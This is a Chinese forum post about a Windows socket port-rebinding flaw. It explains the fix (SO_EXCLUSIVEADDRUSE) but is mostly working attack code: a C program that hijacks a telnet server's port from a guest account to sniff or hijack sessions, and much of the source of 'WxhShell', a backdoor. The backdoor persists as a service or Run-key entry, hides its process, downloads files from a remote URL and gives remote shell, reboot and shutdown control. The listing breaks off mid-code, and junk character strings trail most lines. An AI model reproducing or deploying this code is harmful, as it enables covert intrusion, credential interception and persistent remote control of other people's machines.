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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _qR1M):yJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W}50E.\#  
<=W;z=$!Bb  
  saddr.sin_family = AF_INET; t$m268m~  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MRMsw NQ  
C{`+h163\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [nZ3}o  
A36dj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @{ _[bKg  
b%IRIi&,  
  这意味着什么?意味着可以进行如下的攻击: Fo|6 PoSo  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :aS8%m  
Y6~/H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kAsYh4[  
9%^q?S/Rv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bS=aFl#  
2MS1<VKZ@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %SaC[9=?  
v9QR,b` n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _WO*N9Iz  
2R66 WK Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 56T<s+X>  
!ba /] A/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +F= j1*'&  
xdGmiHN  
  #include 3WZdP[o!  
  #include gVO<W.?  
  #include #usi1UWB#Q  
  #include    scZdDbL6+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p_pI=_:  
  int main() K:hZ  
  { sH(@X<{p  
  WORD wVersionRequested; fG_.&!P  
  DWORD ret; p B*8D  
  WSADATA wsaData; !A!}j.s  
  BOOL val; <mN.6@*{  
  SOCKADDR_IN saddr; +0) s {?  
  SOCKADDR_IN scaddr; +ExXhT  
  int err; jYE<d&Cq  
  SOCKET s; b|F4E{{D^  
  SOCKET sc; B7HNNX  
  int caddsize; k@vN_Un  
  HANDLE mt; 8s^CE[TA  
  DWORD tid;   I.#V/{J  
  wVersionRequested = MAKEWORD( 2, 2 ); X <QSi   
  err = WSAStartup( wVersionRequested, &wsaData ); ?XOl>IO  
  if ( err != 0 ) { )%H@.;cD_r  
  printf("error!WSAStartup failed!\n"); _nW{Q-nh  
  return -1; \[u7y. b  
  } TrA&yXXL  
  saddr.sin_family = AF_INET; l`"i'P   
   otaB$Bb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a ^wGc+  
www#.D%'U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^U1@ hq*u  
  saddr.sin_port = htons(23); u~[=5r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O)v?GQRj  
  { Lso4Z Z;  
  printf("error!socket failed!\n"); i~1bfl   
  return -1; Fb8~2N"3  
  } wNQhz.>y  
  val = TRUE; sv}k_6XgY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?VUW.-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2L?jp:$;X  
  { }_,1i3Rip  
  printf("error!setsockopt failed!\n"); W%$sA}O  
  return -1; %#7NCdk;S  
  } (|Zah1k&]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qkHdr2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8['8ctX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jNjm}8`t  
y$-;6zk\]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0_\@!#-sml  
  { ?4QX;s7  
  ret=GetLastError(); m3Ma2jLWC  
  printf("error!bind failed!\n"); !mX-g]4E  
  return -1; h zv4+1Wd[  
  } u Uy~$>V  
  listen(s,2); 6yU#;|6d  
  while(1) E(%_aFx>/  
  { B}O M:0  
  caddsize = sizeof(scaddr); _d<xxF^q  
  //接受连接请求 ]!% p21e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ) H HBf<  
  if(sc!=INVALID_SOCKET) [yFf(>B  
  { 8Qm%T7]UFb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e#{,M8  
  if(mt==NULL) ?7?hDw_Nk  
  { IhRWa|{I  
  printf("Thread Creat Failed!\n"); l:Hm|9UZ  
  break; <.d^jgG(j  
  } IZw>!KYG  
  } VDnN2)Km*  
  CloseHandle(mt); wgETL|3-  
  } J]m[0g7O_  
  closesocket(s); [9c|!w^F  
  WSACleanup(); c}$C=s5 h}  
  return 0; +c+i~5B4  
  }   j2dptM3t{  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wjf,AjL\  
  { g+:Go9k!F  
  SOCKET ss = (SOCKET)lpParam; <r`^iR)%  
  SOCKET sc; JSf \ApX  
  unsigned char buf[4096]; B:?MMXB  
  SOCKADDR_IN saddr; u[Ij4h.  
  long num; )c; YR}tC  
  DWORD val; }hoyjzv]L  
  DWORD ret; PjxZ3O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s2 8t'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &-e@Et`Pg  
  saddr.sin_family = AF_INET; B_ x?s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V DN@=/  
  saddr.sin_port = htons(23); 8x,{rS qq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |O!G[|/3  
  { v4$"{W;'  
  printf("error!socket failed!\n"); =#z8CFq[O  
  return -1; kiP-^Wan  
  } %k+G-oT5  
  val = 100; D# Gf.c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) He1hgJ)N  
  { <meQ  
  ret = GetLastError(); / %9DO  
  return -1; !XtZI3Xu  
  } C2a2K={  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /%F}vW(!  
  { 50E?K!  
  ret = GetLastError(); vB<2f*U  
  return -1; 2d60o~ E  
  } -u nK;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U)sw IisE  
  { %@ ,! (  
  printf("error!socket connect failed!\n"); 8aMmz!S  
  closesocket(sc); cxig<W  
  closesocket(ss); EjF2mkA*  
  return -1; .0a,%o 8n  
  } E&_q"jJRi  
  while(1) ?cvV~&$gc  
  { r`OC5IoQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0nu&JQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b;2[E/JKB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +qiI;C_P\  
  num = recv(ss,buf,4096,0); -(Fhj Ir  
  if(num>0) n@PXC8}  
  send(sc,buf,num,0); f [DZ  
  else if(num==0) />0 Bm`A  
  break; {yCE>F\  
  num = recv(sc,buf,4096,0); Ij{ K\{y  
  if(num>0) tso\bxiU  
  send(ss,buf,num,0); t3VZjO  
  else if(num==0) tupAU$h?!  
  break; C&/_mm5  
  } AK_,$'f  
  closesocket(ss); K @h9 4Ni6  
  closesocket(sc); .`TDpi9OB  
  return 0 ; mr[+\ 5  
  } :RG=3T[  
']__V[  
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========================================================== 'u84d=*l  
}xb?C""q^q  
下边附上一个代码,,WXhSHELL }7+`[g  
e9p!Caf~I-  
========================================================== Id<O/C  
GS@ Zc2JPF  
#include "stdafx.h" 6=3;(2u[C"  
DPM4v7 S  
#include <stdio.h> u 2%E(pr  
#include <string.h> sz@Y$<o  
#include <windows.h> c*DBa]u2  
#include <winsock2.h> 9 .3?$(  
#include <winsvc.h> 6Q~(ibKx  
#include <urlmon.h> ~RU-N%Kn  
mhv ;pM6  
#pragma comment (lib, "Ws2_32.lib") DWXHx  
#pragma comment (lib, "urlmon.lib")  Uip-qWI  
]z#9)i_l3  
#define MAX_USER   100 // 最大客户端连接数 !S}d?8I6  
#define BUF_SOCK   200 // sock buffer MY>*F[~ 2  
#define KEY_BUFF   255 // 输入 buffer :\cid]y3  
qbq.r&F&  
#define REBOOT     0   // 重启 >E\U$}WCG  
#define SHUTDOWN   1   // 关机 "59"HVV  
Fu\!'\6  
#define DEF_PORT   5000 // 监听端口 OeYZLC(  
Rz:1(^oA  
#define REG_LEN     16   // 注册表键长度 0 ~^l*  
#define SVC_LEN     80   // NT服务名长度 Qk?J4 B  
}Q-%ij2  
// 从dll定义API *OU&`\bmE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QqCwyK0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8o\KF(I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mq Q'Kjo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |576)  
#VU>Z|$@N  
// wxhshell配置信息 )=Ens=>Z  
struct WSCFG { d8N4@3CkL  
  int ws_port;         // 监听端口 a?]~Sw"@  
  char ws_passstr[REG_LEN]; // 口令 ()ZP =\L  
  int ws_autoins;       // 安装标记, 1=yes 0=no T_I ApC  
  char ws_regname[REG_LEN]; // 注册表键名 rvG0aqO `  
  char ws_svcname[REG_LEN]; // 服务名 N+CcWs!E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z"$huE>P6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [n2)6B\/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Pkl()\c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :} N;OS_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }:1*@7eR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6SP!J*F  
5{\;7(  
}; xW+ XN`77  
}S=m: VKH  
// default Wxhshell configuration @ev8"JZ1  
struct WSCFG wscfg={DEF_PORT, AVi,+n  
    "xuhuanlingzhe", Xp?WoC N  
    1, m* rw?nLZ  
    "Wxhshell", 5.U4P<qS  
    "Wxhshell", wak`Jte=}m  
            "WxhShell Service", q?=_{oH9  
    "Wrsky Windows CmdShell Service",  E-L>.tD  
    "Please Input Your Password: ", KF}_|~~T  
  1, ?, oE_H  
  "http://www.wrsky.com/wxhshell.exe", <qjolMO`  
  "Wxhshell.exe" '~n=<Y  
    }; 8ps1Q2|  
>d<tcaB  
// 消息定义模块 <hB~|a<#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G`R_kg9$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l *]nvd_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JVq`v#8  
char *msg_ws_ext="\n\rExit."; ^Kj xQO6y3  
char *msg_ws_end="\n\rQuit."; qLk7C0  
char *msg_ws_boot="\n\rReboot..."; ^.u J]k0  
char *msg_ws_poff="\n\rShutdown..."; 3&5AbIZ  
char *msg_ws_down="\n\rSave to "; 4\iy{1{E,C  
fk'DJf[M  
char *msg_ws_err="\n\rErr!"; U{ ZKxE  
char *msg_ws_ok="\n\rOK!"; uE^5o\To  
sV-UY!   
char ExeFile[MAX_PATH]; Z1sRLkR^  
int nUser = 0; l ^;=0UR_  
HANDLE handles[MAX_USER]; *$9Rb2}kK  
int OsIsNt; KDu~,P]  
*# ;  
SERVICE_STATUS       serviceStatus; <59G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R:Tv'I1-L  
j38>5DM6L  
// 函数声明 7da~+(yhr  
int Install(void);  R7ExMJw  
int Uninstall(void); Azag*M?  
int DownloadFile(char *sURL, SOCKET wsh); eJ_$Etc  
int Boot(int flag); 4{#0ci{  
void HideProc(void); -|( q 9B  
int GetOsVer(void); t[%ELHV  
int Wxhshell(SOCKET wsl); )mE67{YJh~  
void TalkWithClient(void *cs); 4]m?8j) 6b  
int CmdShell(SOCKET sock); 'aJm4W&j  
int StartFromService(void); XE?,)8  
int StartWxhshell(LPSTR lpCmdLine); 3 , nr*R!  
]X<L~s_*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v\Edf;(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P;[>TCs ]8  
?Y'r=Q{w  
// 数据结构和表定义 ;0;5+ J7  
SERVICE_TABLE_ENTRY DispatchTable[] = #r;uM+  
{ Rkh ^|_<!  
{wscfg.ws_svcname, NTServiceMain}, $*vj7V_  
{NULL, NULL} * vP:+]  
}; 0&2eiMKG?n  
Q)ZbnR2Z8  
// 自我安装 %lqrq<Xn  
int Install(void) c2Up<#t  
{ U'Fc\M5l/l  
  char svExeFile[MAX_PATH]; &OP =O*B  
  HKEY key; HVaKy+RU  
  strcpy(svExeFile,ExeFile); E9#.!re|^  
MVZ9x%  
// 如果是win9x系统,修改注册表设为自启动 K?X 6@u|h  
if(!OsIsNt) { R\:t 73  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t2#zQ[~X!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3?-2~s3gp  
  RegCloseKey(key); 8npjQ;%4>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _{48s8V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m"tke'a  
  RegCloseKey(key); L0>w|LpRc  
  return 0; nWsR;~pK  
    } Vho^a:Z9}W  
  } ^9 {r2d&c  
} ZY-mUg  
else { Ops""#Zi  
Su/}OS\R  
// 如果是NT以上系统,安装为系统服务 CQ^I;[=d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uoe>T:  
if (schSCManager!=0) &ZAc3@l[c  
{ of>}fJ_p  
  SC_HANDLE schService = CreateService  :IX_}|  
  ( brClYpp,h  
  schSCManager, 73tWeZ8rvx  
  wscfg.ws_svcname, g0"KC X  
  wscfg.ws_svcdisp, r:9H>4m  
  SERVICE_ALL_ACCESS, o>oZh1/\T,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IXt cHAgX  
  SERVICE_AUTO_START, E K#ib  
  SERVICE_ERROR_NORMAL, qwDoYy yu  
  svExeFile, WDQw)EUl&  
  NULL, b%M|R%)]  
  NULL, `%Uz0hF  
  NULL, ~#V1Gunq  
  NULL, 7T@"2WYat  
  NULL Cd51. Sk(l  
  ); 0fU^  
  if (schService!=0) i"U<=~  
  { B(U0 ~{7a  
  CloseServiceHandle(schService); +Y|HO[  
  CloseServiceHandle(schSCManager); :z}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8et.A  
  strcat(svExeFile,wscfg.ws_svcname); PbN"+qM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8GFA}_(^R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >"z&KZKI  
  RegCloseKey(key); o= N_0.  
  return 0; Dt8wd,B  
    } HRZ3}8Qj  
  } I\peO/w  
  CloseServiceHandle(schSCManager); |? l6S  
} SK_i 3?  
} +i.b&PF'H  
>!|(n @  
return 1; Hxzdxwz%$  
} 9dXtugp|  
a?QDf5C q  
// 自我卸载 Il9pL~u  
int Uninstall(void) @C fxPA  
{ l\Or.I7n  
  HKEY key; t?R=a-ZI  
J>Uzd, /  
if(!OsIsNt) { i&dMX:fRd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  %Jc>joU  
  RegDeleteValue(key,wscfg.ws_regname); x#s=eeP1  
  RegCloseKey(key); Q8 r 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .+TriPL  
  RegDeleteValue(key,wscfg.ws_regname); "3Z<V8xB  
  RegCloseKey(key); Q&Ox\*sMK  
  return 0; *|DIG{  
  } :g[G&Ds8  
}  zOnQ656  
} Ug|o ($CY  
else { qg;f h]j%  
_Ak?i\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T c{]w?V  
if (schSCManager!=0) %7oB[2  
{ h7H#sL[^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h.W;Dmf6]  
  if (schService!=0) ,lly=OhKb  
  { [ZP8l'?  
  if(DeleteService(schService)!=0) { `+(|$?Cu  
  CloseServiceHandle(schService); _,M:"3;Z  
  CloseServiceHandle(schSCManager); ToHCS/J59  
  return 0; 6!}tmdzR  
  } G;%Pf9 o26  
  CloseServiceHandle(schService); vZns,K#4H\  
  } >cPB:kD'  
  CloseServiceHandle(schSCManager); Bjz\L0d  
} |ei?s1)  
} U&mJ_f#M  
bTn7$EG  
return 1; ?wR;"  
} wxg`[c$:  
Hop$w  
// 从指定url下载文件 <4W"ne28  
int DownloadFile(char *sURL, SOCKET wsh) AE)<ee%\\  
{ m$xyUv1  
  HRESULT hr; xwj%X%2  
char seps[]= "/"; dsP1Zq  
char *token; !(hP{k ^g  
char *file; cmIAWFj-)e  
char myURL[MAX_PATH]; rZy38Wo  
char myFILE[MAX_PATH]; "b!QE2bRO  
C'hI{4@P  
strcpy(myURL,sURL); _|ucC$*  
  token=strtok(myURL,seps); WRJ+l_81  
  while(token!=NULL) ?zKVXK7}0  
  { nzTzc5 w  
    file=token; 9_rNJLj8y  
  token=strtok(NULL,seps); )T:{(v7 d`  
  } ]rDf3_!m(  
h@72eav3+  
GetCurrentDirectory(MAX_PATH,myFILE); dyjzF`H  
strcat(myFILE, "\\"); W&]grG2/  
strcat(myFILE, file); Z3G>DF:$  
  send(wsh,myFILE,strlen(myFILE),0); PiZt?r?5w|  
send(wsh,"...",3,0); ZbYwuyHk(3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fz W%(.tc\  
  if(hr==S_OK) 2FO.!m  
return 0; _1c'~;  
else buRXzSR  
return 1; 3R?7&oXvH  
8 F'i5i  
} :YB:)wV,P  
&tKs t,UR8  
// 系统电源模块 xyx.1o e!  
int Boot(int flag) Mz<4P3"H  
{ }VE[W  
  HANDLE hToken; :x97^.eW~  
  TOKEN_PRIVILEGES tkp; !>/U6h,_  
/40Z-'Bl=(  
  if(OsIsNt) { >.PLD} zE_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '=x   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BpCzmU  
    tkp.PrivilegeCount = 1; {so"xoA^c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q+t*3;X.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :gb7Py'C  
if(flag==REBOOT) { -) $$4<L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K(Otgp+zb  
  return 0; !5 %c`4  
} $dci?7q  
else { #:z.Br`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l{aXX[E&1  
  return 0; Qm,|'y:Tg  
} %\[LM$f{z  
  } S'V0c%'QQV  
  else { W*-+j*e|_P  
if(flag==REBOOT) { mN_RB{g{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /l0\SVwa>  
  return 0; sxl29y^*  
} F)lDK.  
else { h5x FP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G(|ki9^@"9  
  return 0; qbHb24I  
} sBq @W4  
} [1dlV/  
^ {-J Y  
return 1; a7nbGqsx  
} kfg9l?R$I<  
n'1pNL:  
// win9x进程隐藏模块 DK&J"0jz,  
void HideProc(void) me$ 7\B;wy  
{ ,K6s'3O(LW  
lz faW-nu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PR{?l  
  if ( hKernel != NULL ) QgC  
  { C* b!E:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |9jeOV}/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4rc4}Yu,JI  
    FreeLibrary(hKernel); y!."FoQ  
  } |OUr=b  
I/<aY*R4  
return; ; GRSe  
} h:<p EL  
 4EJ  
// 获取操作系统版本 &o= #P2Qd  
int GetOsVer(void) +S5"4<  
{ ZTVX5"#Q  
  OSVERSIONINFO winfo; g a? .7F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Fl "#g$  
  GetVersionEx(&winfo); ib0M$Y1tIS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >pbO\=j]X  
  return 1; "b8<C>wY  
  else D4ESo)15'  
  return 0; 5yI_uQR  
} 6UG7lH!M  
Nj5Mc>_   
// 客户端句柄模块 ']4b}F:}  
int Wxhshell(SOCKET wsl) f6j;Y<}' g  
{ uwXquOw  
  SOCKET wsh; <[@AMdS  
  struct sockaddr_in client; %# ?)+8"l  
  DWORD myID; <xKer<D %  
[ma'11?G  
  while(nUser<MAX_USER) B<u6Z!Pp2  
{ aJ}y|+Cj  
  int nSize=sizeof(client); -hiG8%l5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f',n '  
  if(wsh==INVALID_SOCKET) return 1; @#hd8_)A.  
5 >S #ew  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q0K2md_%x  
if(handles[nUser]==0) rU=qr&f"B  
  closesocket(wsh); {?!=~vp  
else P$ZIKkf  
  nUser++; wmAZ {  
  } 0}C> e`<'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %nk]zf..  
dQT A^m  
  return 0; M{cF14cQ  
} k&wCa<Rs~R  
Z0uo. H@.N  
// 关闭 socket }^U7NZn<"  
void CloseIt(SOCKET wsh) @iwVU]j  
{ YRa{6*M  
closesocket(wsh); Q>Voa&tYn  
nUser--; iZ}Afj  
ExitThread(0); cH%qoHgx  
} ;rXkU9  
R?MRRq  
// 客户端请求句柄 /~~aK2{^X~  
void TalkWithClient(void *cs) GOrDDp  
{ tj$&89  
tIn dve  
  SOCKET wsh=(SOCKET)cs; B( r~Nvc  
  char pwd[SVC_LEN]; go >*n\  
  char cmd[KEY_BUFF]; b* k=  
char chr[1]; N3dS%F,_  
int i,j; $;7,T~{  
Z>hS&B  
  while (nUser < MAX_USER) { Sk7l&B  
KmS$CFsGL  
if(wscfg.ws_passstr) { & \tD$g~"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DQ%bcXs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &O8vI ,M  
  //ZeroMemory(pwd,KEY_BUFF); )45~YDS;t  
      i=0; E)w6ZwV  
  while(i<SVC_LEN) { &U*MLf83`  
a7$-gW"Z(,  
  // 设置超时 [bM$n m  
  fd_set FdRead; eb1WTK@  
  struct timeval TimeOut; 6d~[j <@2  
  FD_ZERO(&FdRead); N{+6V`\  
  FD_SET(wsh,&FdRead); :&SvjJR  
  TimeOut.tv_sec=8; p G|-<6WY  
  TimeOut.tv_usec=0; ~EIK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Y|6`9;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QAGR\~  
/B"FGa04p(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P:D@ 5  
  pwd=chr[0]; C_> WU   
  if(chr[0]==0xd || chr[0]==0xa) { m q#8 [D  
  pwd=0; *<r\:g  
  break; P+ ejyl,  
  } #h=pU/R  
  i++; lU?8<X  
    } /Ne;Kdp  
78M%[7Cq<i  
  // 如果是非法用户,关闭 socket .X1xpi%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]bcAbCZ@  
} 7Eb | AR  
!O )je>A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uwI$t[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J|$UAOEDa  
813t=A  
while(1) { Sb QM!Q  
&VPfI  
  ZeroMemory(cmd,KEY_BUFF); bi{G :xt  
6(pa2  
      // 自动支持客户端 telnet标准   LI}@qLe  
  j=0; P~}Yj@2  
  while(j<KEY_BUFF) {  " fXs!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .gQYN2#zb  
  cmd[j]=chr[0]; +HDfEo T  
  if(chr[0]==0xa || chr[0]==0xd) { F ?N+ __o  
  cmd[j]=0; z:1"d R   
  break; R1cOUV,y[/  
  } bU4l|i;j  
  j++; \Gl>$5np  
    } tUGnp'r  
5M v<8P~  
  // 下载文件 f|+aa6hN  
  if(strstr(cmd,"http://")) { @|2sF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R$m?aIN  
  if(DownloadFile(cmd,wsh)) *-eDU T|O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @@W-]SR  
  else >PS`;S!(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'w"hG$".  
  } jp+s[rRc\{  
  else { % `\}#  
pqF!1  
    switch(cmd[0]) { P=<>H9p:o  
  c BcZ@e;  
  // 帮助 @ JfQ}`  
  case '?': { 'O^<i`8U]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *";O_ :C!  
    break; k0bDEz.X  
  } 1v~1?+a\2  
  // 安装 ThiM6Hb  
  case 'i': { U[O7}Nsb"  
    if(Install()) o_C]O"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  (z.4er}o  
    else eWGaGRem  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ET0^_yk  
    break; \o}=ob  
    } =/m$ayG  
  // 卸载 'wA4yJ<  
  case 'r': { { Ba_.]x  
    if(Uninstall()) ZH)thd9^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " ?=$(7uc  
    else g/+|gHq^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1|WrJ-Uf  
    break; z1m-t# v:  
    } nV/;yl4e{  
  // 显示 wxhshell 所在路径 +JejnG0  
  case 'p': { je;|zfe]  
    char svExeFile[MAX_PATH]; uskJ(!  
    strcpy(svExeFile,"\n\r"); |hD)=sCj  
      strcat(svExeFile,ExeFile); DQ.;2W  
        send(wsh,svExeFile,strlen(svExeFile),0); !j%#7  
    break; @(CJT-Ak  
    } !B/5@P  
  // 重启 PI&@/+  
  case 'b': { GK&R,q5}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tjJi|  
    if(Boot(REBOOT)) , Y^GQ`~#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ksff]##H  
    else { 2O(= 2X  
    closesocket(wsh); xM:9XhH1  
    ExitThread(0); O ]!/fZ;(  
    } :yFmCLZaQ  
    break; l.uW>AoLh  
    } 5ajd$t  
  // 关机 tHmV4H$  
  case 'd': { "R0(!3  
